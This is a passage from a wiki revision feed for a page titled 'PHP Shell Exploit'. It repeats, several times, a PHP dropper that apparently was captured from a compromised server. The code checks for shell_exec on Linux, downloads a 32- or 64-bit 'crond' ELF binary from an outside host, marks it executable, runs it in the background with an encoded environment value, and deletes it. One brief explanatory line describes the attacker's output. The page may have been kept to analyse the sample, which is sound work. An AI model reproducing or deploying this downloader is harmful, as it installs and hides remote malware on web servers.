	} else {&lt;br /&gt;
		return .&#039;/&#039;.$exploitFilename;&lt;br /&gt;
	}&lt;br /&gt;
	return FALSE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$key=&amp;quot;1)#&#039;ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK&amp;gt;a;q0HD.&amp;amp;QRz~@,TM-l(5JSitk/]2bu=d\&amp;quot;I&amp;lt;BEXfv*+&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$crondElf32 =&#039;http://pages.touchpadz.com/crond32&#039;;&lt;br /&gt;
$crondElf64 =&#039;http://pages.touchpadz.com/crond64&#039;;&lt;br /&gt;
$xdvsnExploitEnv = &#039;XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8&#039;;&lt;br /&gt;
$systemType = php_uname(&#039;s&#039;);&lt;br /&gt;
$xpsvt57 = php_uname(&#039;m&#039;);&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;shchzzz&amp;gt;&#039;;&lt;br /&gt;
for (;;) {&lt;br /&gt;
	if (!function_exists(&#039;shell_exec&#039;)) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=1 err=noshex data=&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	if ($systemType !== &#039;Linux&#039;) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=2 err=nolinux data=&#039;.$hafev1.&#039;&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	$targetFilename = &#039;crond&#039;;&lt;br /&gt;
	$exploitUrl = &amp;quot;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
	if (strlen(decbin(~0)) == 64) {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x64&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf64;&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x32&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf32;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	$exploitFilename = &amp;quot;&amp;quot;;&lt;br /&gt;
	if (!file_exists($targetFilename)) {&lt;br /&gt;
		$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);&lt;br /&gt;
&lt;br /&gt;
		if ( $exploitFilename == FALSE) {&lt;br /&gt;
			echo &#039;&amp;lt;err step=4 err=downl data=&amp;gt;&#039;;&lt;br /&gt;
			break;&lt;br /&gt;
		} else {&lt;br /&gt;
			echo &#039;&amp;lt;inf step=4 data=downok&amp;gt;&#039;;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=4 data=exists&amp;gt;&#039;;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	chmod($exploitFilename, 0755);&lt;br /&gt;
&lt;br /&gt;
	$exploitCmd = $xdvsnExploitEnv.&#039; ./&#039;.$exploitFilename.&#039; &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;&#039;;&lt;br /&gt;
	$exploitResult = shell_exec($exploitCmd);&lt;br /&gt;
&lt;br /&gt;
	echo &#039;&amp;lt;inf step=5 data=done data2=&#039;.$exploitResult.&#039;&amp;gt;&#039;;&lt;br /&gt;
	sleep(1);&lt;br /&gt;
&lt;br /&gt;
	unlink($exploitFilename);&lt;br /&gt;
&lt;br /&gt;
	break;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;/shchzzz&amp;gt;&#039;;&lt;br /&gt;
exit();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function getPasteFileContents($key, $url) {&lt;br /&gt;
	$hackFileContents = &amp;quot;&amp;quot;;&lt;br /&gt;
	$fp = @fopen($url, &#039;rb&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;curl_init&#039;))&lt;br /&gt;
			return FALSE;&lt;br /&gt;
			&lt;br /&gt;
		$curl = @curl_init();&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_URL, $url);&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);&lt;br /&gt;
		$hackFileContents = @curl_exec($curl);&lt;br /&gt;
		@curl_close($curl);&lt;br /&gt;
	} else {&lt;br /&gt;
		while(!feof($fp))&lt;br /&gt;
			$hackFileContents.= fread($fp, 1024 * 64);&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
	}&lt;br /&gt;
    return $hackFileContents;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveContentsToFile($key, $hackFilename, $hackFileContents) {&lt;br /&gt;
	$fp = fopen($hackFilename, &#039;wb+&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;file_put_contents&#039;)) return FALSE;&lt;br /&gt;
		if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;&lt;br /&gt;
	} else {&lt;br /&gt;
		$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
		if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;&lt;br /&gt;
	}&lt;br /&gt;
	return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveUrlToFile($key, $url, $exploitFilename) {&lt;br /&gt;
	$hackFileContents = getPasteFileContents($key, $url);&lt;br /&gt;
&lt;br /&gt;
	if ($hackFileContents == FALSE) return FALSE;&lt;br /&gt;
	&lt;br /&gt;
	if (saveContentsToFile($key, .&#039;/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
		if (saveContentsToFile($key, &#039;/tmp/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
			return FALSE;&lt;br /&gt;
		} else {&lt;br /&gt;
			return &#039;/tmp/&#039;.$exploitFilename;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		return .&#039;/&#039;.$exploitFilename;&lt;br /&gt;
	}&lt;br /&gt;
	return FALSE;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The attacker will see the following outputs:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;gt;&lt;br /&gt;
&amp;lt;shchzzz&amp;gt;&amp;lt;inf step=3 data=x64&amp;gt;&amp;lt;inf step=4 data=downok&amp;gt;&amp;lt;inf step=5 data=done data2=XXX&amp;gt;&amp;lt;/shchzzz&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where XXX is the return code of the shell exec which attempts to run:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8 ./tmp/crond &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=PHP_Shell_Exploit&amp;diff=1161</id>
		<title>PHP Shell Exploit</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=PHP_Shell_Exploit&amp;diff=1161"/>
		<updated>2015-05-05T05:54:54Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: Created page with &amp;quot;&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt; &amp;lt;?php $key=&amp;quot;1)#&amp;#039;ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK&amp;gt;a;q0HD.&amp;amp;QRz~@,TM-l(5JSitk/]2bu=d\&amp;quot;I&amp;lt;BEXfv*+&amp;quot;;  $crondElf32 =&amp;#039;http://pages...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$key=&amp;quot;1)#&#039;ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK&amp;gt;a;q0HD.&amp;amp;QRz~@,TM-l(5JSitk/]2bu=d\&amp;quot;I&amp;lt;BEXfv*+&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$crondElf32 =&#039;http://pages.touchpadz.com/crond32&#039;;&lt;br /&gt;
$crondElf64 =&#039;http://pages.touchpadz.com/crond64&#039;;&lt;br /&gt;
$xdvsnExploitEnv = &#039;XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8&#039;;&lt;br /&gt;
$systemType = php_uname(&#039;s&#039;);&lt;br /&gt;
$xpsvt57 = php_uname(&#039;m&#039;);&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;shchzzz&amp;gt;&#039;;&lt;br /&gt;
for (;;) {&lt;br /&gt;
	if (!function_exists(&#039;shell_exec&#039;)) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=1 err=noshex data=&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	if ($systemType !== &#039;Linux&#039;) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=2 err=nolinux data=&#039;.$hafev1.&#039;&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	$targetFilename = &#039;crond&#039;;&lt;br /&gt;
	$exploitUrl = &amp;quot;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
	if (strlen(decbin(~0)) == 64) {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x64&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf64;&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x32&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf32;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	$exploitFilename = &amp;quot;&amp;quot;;&lt;br /&gt;
	if (!file_exists($targetFilename)) {&lt;br /&gt;
		$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);&lt;br /&gt;
&lt;br /&gt;
		if ( $exploitFilename == FALSE) {&lt;br /&gt;
			echo &#039;&amp;lt;err step=4 err=downl data=&amp;gt;&#039;;&lt;br /&gt;
			break;&lt;br /&gt;
		} else {&lt;br /&gt;
			echo &#039;&amp;lt;inf step=4 data=downok&amp;gt;&#039;;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=4 data=exists&amp;gt;&#039;;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	chmod($exploitFilename, 0755);&lt;br /&gt;
&lt;br /&gt;
	$exploitCmd = $xdvsnExploitEnv.&#039; ./&#039;.$exploitFilename.&#039; &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;&#039;;&lt;br /&gt;
	$exploitResult = shell_exec($exploitCmd);&lt;br /&gt;
&lt;br /&gt;
	echo &#039;&amp;lt;inf step=5 data=done data2=&#039;.$exploitResult.&#039;&amp;gt;&#039;;&lt;br /&gt;
	sleep(1);&lt;br /&gt;
&lt;br /&gt;
	unlink($exploitFilename);&lt;br /&gt;
&lt;br /&gt;
	break;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;/shchzzz&amp;gt;&#039;;&lt;br /&gt;
exit();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function getPasteFileContents($key, $url) {&lt;br /&gt;
	$hackFileContents = &amp;quot;&amp;quot;;&lt;br /&gt;
	$fp = @fopen($url, &#039;rb&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;curl_init&#039;))&lt;br /&gt;
			return FALSE;&lt;br /&gt;
			&lt;br /&gt;
		$curl = @curl_init();&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_URL, $url);&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);&lt;br /&gt;
		$hackFileContents = @curl_exec($curl);&lt;br /&gt;
		@curl_close($curl);&lt;br /&gt;
	} else {&lt;br /&gt;
		while(!feof($fp))&lt;br /&gt;
			$hackFileContents.= fread($fp, 1024 * 64);&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
	}&lt;br /&gt;
    return $hackFileContents;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveContentsToFile($key, $hackFilename, $hackFileContents) {&lt;br /&gt;
	$fp = fopen($hackFilename, &#039;wb+&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;file_put_contents&#039;)) return FALSE;&lt;br /&gt;
		if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;&lt;br /&gt;
	} else {&lt;br /&gt;
		$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
		if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;&lt;br /&gt;
	}&lt;br /&gt;
	return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveUrlToFile($key, $url, $exploitFilename) {&lt;br /&gt;
	$hackFileContents = getPasteFileContents($key, $url);&lt;br /&gt;
&lt;br /&gt;
	if ($hackFileContents == FALSE) return FALSE;&lt;br /&gt;
	&lt;br /&gt;
	if (saveContentsToFile($key, .&#039;/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
		if (saveContentsToFile($key, &#039;/tmp/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
			return FALSE;&lt;br /&gt;
		} else {&lt;br /&gt;
			return &#039;/tmp/&#039;.$exploitFilename;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		return .&#039;/&#039;.$exploitFilename;&lt;br /&gt;
	}&lt;br /&gt;
	return FALSE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$key=&amp;quot;1)#&#039;ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK&amp;gt;a;q0HD.&amp;amp;QRz~@,TM-l(5JSitk/]2bu=d\&amp;quot;I&amp;lt;BEXfv*+&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$crondElf32 =&#039;http://pages.touchpadz.com/crond32&#039;;&lt;br /&gt;
$crondElf64 =&#039;http://pages.touchpadz.com/crond64&#039;;&lt;br /&gt;
$xdvsnExploitEnv = &#039;XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8&#039;;&lt;br /&gt;
$systemType = php_uname(&#039;s&#039;);&lt;br /&gt;
$xpsvt57 = php_uname(&#039;m&#039;);&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;shchzzz&amp;gt;&#039;;&lt;br /&gt;
for (;;) {&lt;br /&gt;
	if (!function_exists(&#039;shell_exec&#039;)) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=1 err=noshex data=&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	if ($systemType !== &#039;Linux&#039;) {&lt;br /&gt;
